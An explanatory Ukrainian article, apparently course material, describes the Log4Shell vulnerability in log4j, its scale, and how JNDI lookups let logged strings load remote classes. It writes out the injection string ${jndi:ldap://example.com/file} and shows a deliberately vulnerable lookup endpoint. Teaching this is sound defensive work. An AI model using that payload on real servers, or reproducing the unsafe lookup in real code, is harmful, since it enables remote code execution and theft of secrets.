Log4Shell вразливість

1. Скандал

І, звісно ж, не можна не розповісти про історію, яка сталася наприкінці 2021 року.

Агентство з кібербезпеки та захисту інфраструктури США (CISA) заявило, що проблема Log4Shell є однією з найсерйозніших вразливостей в історії. Так, йдеться про нашу улюблену бібліотеку log4j.

Наша затишна маленька бібліотека log4j – і найсерйозніша вразливість в історії? Заінтригував? Тоді слухай.

2. Масштаб катастрофи

Про виявлення критичної вразливості Log4Shell (код CVE-2021-44228) повідомили 9 грудня 2021 фахівці з безпеки компанії Lunasec. Спеціалісти з Java-спільноти Apache Security Team перевірили цю інформацію та опублікували список вразливих Java-бібліотек. Список був просто величезним.

Якщо Java-проєкт використовував бібліотеку log4j, його можна було досить легко зламати. А зважаючи на те, що майже весь серверний софт пишеться на Java і log4j – найпопулярніший java-логгер, згідно з даними спеціалістів з безпеки, вразливість зачепила 93% корпоративних хмарних середовищ. Включно з Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam та багатьма іншими.

Ба більше, вразливість торкнулася не лише серверного софту, але й багатьох Java-застосунків, а також виробників апаратного забезпечення. Наприклад, Intel опублікувала список з 32 програм, схильних до зламу: SDK, системи обслуговування серверів, Linux-інструменти.

Також компанія Nvidia виклала звіт про проблеми з безпекою зі згадкою серверів DGX та інструментів NetQ. Ряд оновлень терміново випустили Apple та Microsoft.

Грубо кажучи, один рядок в адресному рядку браузера у школяра кладе сервер, якщо цей рядок з'їсть логер (на багатьох серверах записуються в логі всі HTTP-запити).

Після аналізу коду виявилось, що вразливість у бібліотеці сиділа з 2013 року, але помітили її лише зараз. А коли почали копати глибше, виявили прірву, дна якої не видно взагалі.

3. Найсерйозніша вразливість в історії

Ще в грудні 2021 року Агентство з кібербезпеки та захисту інфраструктури США (CISA) заявило, що Log4Shell є однією з найсерйозніших вразливостей в історії.

Багато інших фахівців висловлюють аналогічну думку. Про цю вразливість знають усі, і хакери різного віку вже використовують її для крадіжок персональних даних та інших видів атак на різні організації. У майбутньому на нас чекає хвиля масових зламів та витоків даних.

Масштаб катастрофи можна оцінити навіть за тим фактом, що існує окремий сайт із мемами про Log4j, і щодня там з'являються нові картинки.

Ця проблема із нами надовго. Діра в безпеці в мільйонах, якщо не сотнях мільйонів комп'ютерних систем. Весь старий софт потрібно оновити та як мінімум замінити там цю бібліотеку. Адже здебільшого ніхто навіть не знає, які бібліотеки та яких версій використовуються в їхньому софті.

Загалом, чекаємо на різке зростання зарплат фахівців з комп'ютерної безпеки.

4. Суть вразливості

Щоб зрозуміти суть вразливості, потрібно зрозуміти, як влаштовані великі серверні системи. Найчастіше такі серверні програми розділені на різні сервіси, що знаходяться на різних серверах. І взаємодіяти їм допомагає сервіс JNDI.

Java Naming and Directory Interface (JNDI) – це Java API, щоб шукати об'єкти/сервіси за іменем. Ці об'єкти можуть зберігатися в різних службах іменування або каталогах, таких як Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) або Domain Name Service (DNS).

Працювати з ним дуже легко – це простий Java API, який приймає лише один рядковий параметр – ім'я сервісу. З його допомогою можна звернутися до будь-якого сервісу та попросити його щось зробити та/або надіслати якісь дані. Наприклад, рядок ${jndi:ldap://example.com/file} завантажить дані з цього URL, що вказано в рядку.

Якщо параметр надходить із ненадійного джерела, це може призвести до віддаленого завантаження класів і виконання стороннього коду. Саме це відбувається з Log4j. Зловмисник просто направляє Java-застосунок жертви на шкідливий rmi/ldap/corba-сервер та отримує у відповідь шкідливий об'єкт.

Технічно проблема тут не в самій log4j бібліотеці, а в налаштуваннях безпеки під час роботи з JNDI-сервісом. Завжди потрібно перевіряти, який рядок ми передаємо до InitialContext.lookup().

Приклад вразливої JNDI-програми:

@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

5. Дуже розумна бібліотека

І до чого тут log4j, спитаєте ви? Вся річ у тому, що її розробники захотіли зробити роботу з нею максимально комфортною та додали до неї розумне логування. Ось як воно працює:

Почалося з того, що повідомлення лога дозволяли встановити шаблон, до якого виконувалася підстановка даних. Нариклад:

log.debug(“User {user} has {count} friends”, user, count);

Старий варіант без підстановки даних виглядав так:

log.debug( “User “+user +” has “+ count +” friends”);

У 2013 році до бібліотеки додали ще й підстановку розумних префіксів, вказаних шаблоном виду ${prefix:name}. Наприклад, рядок “${java:version}” при виведенні буде перетворено на «Java version 1.7.0_67». Ой, як зручно.

Серед розпізнаних виразів є ${jndi:<lookup>}, де після протоколу jndi можна вказати пошук через LDAP: можна зробити запит на довільну URL-адресу і завантажити його як дані об'єкта Java.

Це стандартна проблема підходу всієї JDK: вона автоматично десеріалізує об'єкт, посилання на який можна поставити у вигляді урла. Водночас із віддаленого ресурсу завантажуються не лише дані об'єкта, а й код його класу.

Злам виглядає так:

• Завантажується файл зі шкідливим кодом
• Файл містить серіалізований Java об'єкт (та його клас)
• Клас завантажується Java-машиною
• Створюється об'єкт шкідливого класу
• Викликається конструктор об'єкту
• І конструктор, і статична ініціалізація дозволяє виконати код шкідливого класу

Якщо у рядку, який логує log4j зустрінеться щось типу ${jndi:ldap://example.com/file}, то log4j завантажить дані з цієї URL-адреси при підключенні до інтернету. При введені логованого рядка зловмисник може завантажити і виконати шкідливий код, розміщений на загальнодоступній URL-адресі.

Навіть якщо виконання даних вимкнено, зловмисник може отримати дані, такі як секретні змінні середовища, за рахунок їх розміщення в URL-адресі, в якій їх буде замінено та відправлено на сервер зловмисника.

Хороша новина: проблему у бібліотеці швидко виправили.

Погана новина: мільйони серверів продовжують працювати по всьому світу зі старою версією цієї бібліотеки.